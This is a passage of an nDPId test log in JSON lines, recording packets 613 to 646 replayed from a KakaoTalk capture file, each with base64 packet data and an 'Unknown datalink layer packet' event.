layer packet","thread_id":0,"packet_id":613,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":614,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":243689,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/A0iAbDHBfqsAQ1SapdrSXUXvjy6CGrY3L2SwL0yCIcObGfMfvgkJoJ8ossrRKd5uSqjp5Pn7L4oL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":614,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":615,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":248084,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/f2iAbDG9fqrxQ1Sapdot7hrc8bKpl+5n7pCQAdM7sriI6j8LDzlACQtrwqJ\/1lWSQfSrjoGnGRZj"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":615,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":616,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":285041,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/d8GAbDHCfqsEA1Sapdr8Qr8VdrE7jewIVJEPXafYSkaqqr9Qi2BTTeb57UXflvbUCUoZKxtx3AW5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":616,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":617,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":313513,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAPxHa2QoYUrwByQGuLDhaBAC1zjeAbE88izuiWguGVRkRCoyyDmlBMT7iS0pCx3oXNS++aHmQfSrQ8QP4fx+yvY9b6kvjZqJ2zmMANGSxiSqD+ZfPlRxv73xIQCIxDIlSPKbFi99h+sHlc4A9qOxivHa0HjwdzMKQiU2IfYdMkE+78s7bejJuC2S5a9uSWcN4k9Xd8HKx+v+L8Xp91P\/TGK6fTxbviB3NN9NPEyCYBCI1wItc4XFeWYt30IZFfg3p+A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":617,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":618,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":313758,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACo0\/eAbE89izumGguGVRm83WptGsRz0NSnT9m76sTi1lWTLNxZPAR\/a5Yq2ARoe7hAK03NJHWxwhW8Q9n5haBi4y0j5AjcmCtowk7XGCq4dNltwlJQ7MlnP8qGdsp\/YuzYxjpICKOKfwtOgZnKqZfZD+H\/7L+4qMpm\/4j10WSSlVqvO9myxgVrNo\/MbxGQoLR\/aO+2JJeHLT7\/893yk5vMHjfI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":618,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00645{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":619,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":324897,"pkt_caplen":254,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":254,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAO7n8EAAPwb4xgoYUrxuTI8ygMgfkPcR3vySeOS9gBgAteanAAABAQgKAAtFJkTbhg0XAwEAIOnqWwm1hSRH1K4geGMtX5jb26JWTPDJIfBdsHxhllslFwMBAJA8ZDpiVbWn0vVGgaSwptsVZVbEfjqBHegRsTGQJ2ZaEVR1OgMTqAmC7c402HJ5Qx6+OQNM7YqtqiGP99+DlWgUf5g901nmsEcBUVR5S\/xq3QV531zL5\/m6pkADeZecnhu4WrtLkVdQyLvntja8qfDpJbrfuW4is8Ol78moGZJ4jlCfrOaCmg6KSJdcuwVNmH4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":619,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00471{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":620,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":328955,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHBH+DQHJAa4KGFK8WgYoHABZL7CAbE83izuPmguGVRk3cbRrKuGsUGcbSruozYx0x7TDSPcK2QUfEh2Aex5DpiahSSBDwiMs4vkgpfqwaMudgDXVgdaODpPdv36RKeqaDwuPRhM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":620,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":621,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":343543,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHBH+BgHJAa4KGFK8WgYoHABgYGeAbE84izuTWguGVRlhJnAqChg3j67cO8Qo8ZSqIgTk39dvp98EGFrlccWjMij4EYK2wxpvUPApMavvy7azHdb4mmRrScYBTX0uZZJF1woDB5Tf8dou6ccI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":621,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":622,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":345771,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/gJuAbDHDfqsHw1SapdrvzxUOetQQ8v9sOle9bMQyoJmz\/z7S7KOct6RdGjv6IUwBZ+W4qZ0jlBWq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":622,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":623,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":382636,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/PyyAbDHEfqsLg1SapdpZMbFJ51lRdLJ\/VZFjYku328AV7uEQ8Nz2CfD5AUCFq+0HiK0ZbpBstnGl"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":623,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":624,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":405158,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/LhyAbDG+fqr1A1SapdpcXJxLCy4bR39VsS8XD5p7GO7ynlhNQnukPHGBOwjPrxHlVBt5EjTxjYFh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":624,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":625,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":411933,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAPxHa+QoYUrwByQGuLDhaBACV6AGAbE8+izup2guGVRkASyewvcZSvmh6\/MVkYGE3FeXmJGMeMgnQFzdNX8uW\/ziuXcU6oBCPZ6JSBtMFm0+Za6QPLWk9URRG5c58J4GcmUpE9rg0uifsfOfc4aidWmeqb2RAyK\/BkzrBRXgSaXvE8N6W79YQgXvCsRV5zoFjDP2gAehg9BM\/ECfEMm5HL1c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":625,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":626,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":412085,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJcAAEAAPxHbCwoYUrwByQGuLDhaBACDJkWAbE8\/izutmguGVRkdc+eSekWIV4ucp+\/tKZ8TiBXK4h6Q5N2ToGzVXqGLVG01xs8dDs56kUpgJSVGT8FWGv3srgAIYHKyVlMJtk1soHXxqDcK7WucqmBIrfR0bzoY63XniXVpP7fE3E9L7LDCHzLYCJh5Fq7MQVvtWOM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":626,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":627,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":429419,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/dwqAbDG\/fqr4w1SapdpReXzshmA7rnlHcpq\/ah2kt7qAGuuDefagMFrZy5xbyVqcdWk5J\/2gAdxc"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":627,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":628,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":449378,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG8AAEAAHBH+CwHJAa4KGFK8WgYoHABbKgOAbE85izuXGguGVRm9dl+sOz1PHxmzbd66PGYYVYEP8mKglImMa067M7nbTQ7U4ZeXCnOvhI1zdhovawsF45W2fBIstBbJq\/y1nrm38dKEy6969Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":628,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":629,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":461096,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/IOGAbDHFfqsPQ1Sapdo03BOUdNHhNG6Bu0RyZ\/2OAdQLUfkrbW0ipNMFCguUlmbeNRHjNNzMjF2Z"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":629,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":630,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":514289,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIYAAEAAPxHbHAoYUrwByQGuLDhaBABy\/MSAbE9AizuxWguGVRnwAKFNWkB3nSz1k8Ihp7a4qfPpqTMbGbmoMHljOjpZBwoi2F2LhZoWDTyd9peMdXVpPzJGmCFrUnblh82SMIPpWxrVEIJrXvZl3BMzOXiTWF+zDTyfI4GB18be\/g1x"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":630,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":631,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":515906,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGcAAEAAHBH+EwHJAa4KGFK8WgYoHABTxmuAbE86izua2guGVRkpg+i9GRnKyN5M2dBmT9OjLfFdtXUjFC8ZFDdA93XdJAw2imuUlYfSG7hvaL06hbewFsJuVhNluCBIFRGnL1I="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":631,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":632,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":525580,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZEqAbDHGfqsTA1SapdpJiLDNoY2YGjlSgR7wmQLHT0BNhUmxJA+5wJYlJXwUMdRRQCncn8W4t6SW"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":632,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":633,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":561957,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/9t2AbDHHfqsWw1SapdpXYk9WdhvCO1ZozwcbfNOLiNdQQxIfpcVf+0OmY\/hKQo4z3XvxiZ0iMU3i"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":633,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":634,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":595648,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/AlWAbDHAfqr8g1SapdqJML\/FpLp7Fg310\/w7hIt1QSrVhZ8xz7wJhe7zLMrCCrDJE0UHvi92SeEr"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":634,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":635,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":610449,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIkAAEAAPxHbGQoYUrwByQGuLDhaBAB1D3CAbE9Bizu1GguGVRl9gmwLg3mkL5Rm7yOOMCTWDl3lDgy3vfyTrcycD73lJcCe1f4CwZBvyfnrAjJ\/gCRT9FupPhRzkZDFcW0iZfjGMms38Rk5aoWp8rVucB7q4YO+x\/JVOTSHkR\/ppTMJOYXI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":635,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":636,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":610602,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALQAAEAAPxHa7goYUrwByQGuLDhaBACgbdiAbE9Cizu42guGVRlbwUwiYVa0o1z4BBkLM\/EITvfPun\/n4ZLZ4VlNEkPMH5gA+j5veqi85bIYmaoTmqTyCRLBhf7yMHv0C51U1AlcbZ6rlWVjQQxkZjw0S1hx3\/LMkvx6\/s4MCbAKApGcqt7k+MoQYHicQAOId1Y1I7\/aiQaVbzAkuhuT\/0RY\/uvPLgt1NGkcIOO50H0hUw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":636,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":637,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":630530,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgYoHABq0WWAbE87izuemguGVRnWK1t5SLutt84Wo\/rqPVkVaeOCx6VsjIQ1YCmKxjPc5vZ1OsOj5itWN4\/TokMfgpepSnkHI07qudUc8YKHrSvKr9qU0M1kd6iwOib1PuokO8v\/P7indQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":637,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":638,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":643500,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/EqyAbDHIfqsag1Sapdq1mhYAF91M9GjjyaKGfzUpcsHZLho8McAgb0L31kxvx1IlVyPpUH3hgADU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":638,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":639,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":648993,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/\/y2AbDHBfqsAQ1SapdrSXUXvjy6CGrY3L2SwL0yCIcObGfMfvgkJoJ8ossrRKd5uSqjp5Pn7L4oL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":639,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":640,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":679572,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/c6eAbDHCfqsEA1Sapdr8Qr8VdrE7jewIVJEPXafYSkaqqr9Qi2BTTeb57UXflvbUCUoZKxtx3AW5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":640,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00563{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":641,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":709387,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALIAAEAAPxHa8AoYUrwByQGuLDhaBACeaCaAbE9Dizu8mguGVRlcaoWhyPwxag16dbJKTkYSNBRlraJmvTLTMmKNJaVC4M1pnOgVSZgUjce8SVeDMcTseCiADSTHY0R2ap7rSMWEDvCPxLeao72qDo9QksKWvfiz9C3HPUwiK6f8iBTk+gzvTINuN+RjsfxkXo2ItOMVwoBLk+lSY3g4RsPyyzM0I9gbElH0oiA+vLc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":641,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":642,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":709540,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAPxHbKAoYUrwByQGuLDhaBABmj8iAbE9EizvAWguGVRl67W6zWA3g7GRIKWmm+UgB8J2FmD\/v3egi2f1kKYVlmCKOXsuD\/0E4w0vWSgzXW+mbWVlRv95s0wYDbJ2QO+pUJsRDfqhUAsXcc3T65YisV9oY"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":642,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":643,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":709662,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHBH9sQHJAa4KGFK8WgYoHAC10lGAbE88izuiWguGVRkRCoyyDmlBMT7iS0pCx3oXNS++aHmQfSrQ8QP4fx+yvY9b6kvjZqJ2zmMANGSxiSqD+ZfPlRxv73xIQCIxDIlSPKbFi99h+sHlc4A9qOxivHa0HjwdzMKQiU2IfYdMkE+78s7bejJuC2S5a9uSWcN4k9Xd8HKx+v+L8Xp91P\/TGK6fTxbviB3NN9NPEyCYBCI1wItc4XFeWYt30IZFfg3p+A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":643,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":644,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":724127,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/uJOAbDHJfqseQ1Sapdr4yXP2Pk+0FzXnL6lXPRNlGL+HhOT4aEpZhp+hh2S4oEaZARBtj+a44NVI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":644,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00582{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":645,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":745063,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAHBH9vgHJAa4KGFK8WgYoHACo2BGAbE89izumGguGVRm83WptGsRz0NSnT9m76sTi1lWTLNxZPAR\/a5Yq2ARoe7hAK03NJHWxwhW8Q9n5haBi4y0j5AjcmCtowk7XGCq4dNltwlJQ7MlnP8qGdsp\/YuzYxjpICKOKfwtOgZnKqZfZD+H\/7L+4qMpm\/4j10WSSlVqvO9myxgVrNo\/MbxGQoLR\/aO+2JJeHLT7\/893yk5vMHjfI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":645,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":646,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":763831,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/oc2AbDHKfqsiA1Sapdp1ifcXlEEzUvV\/cSU7GapAqkV1Wbi8rzs8hVvy2IaCh0tqw6LfVvO1lG68"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":646,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 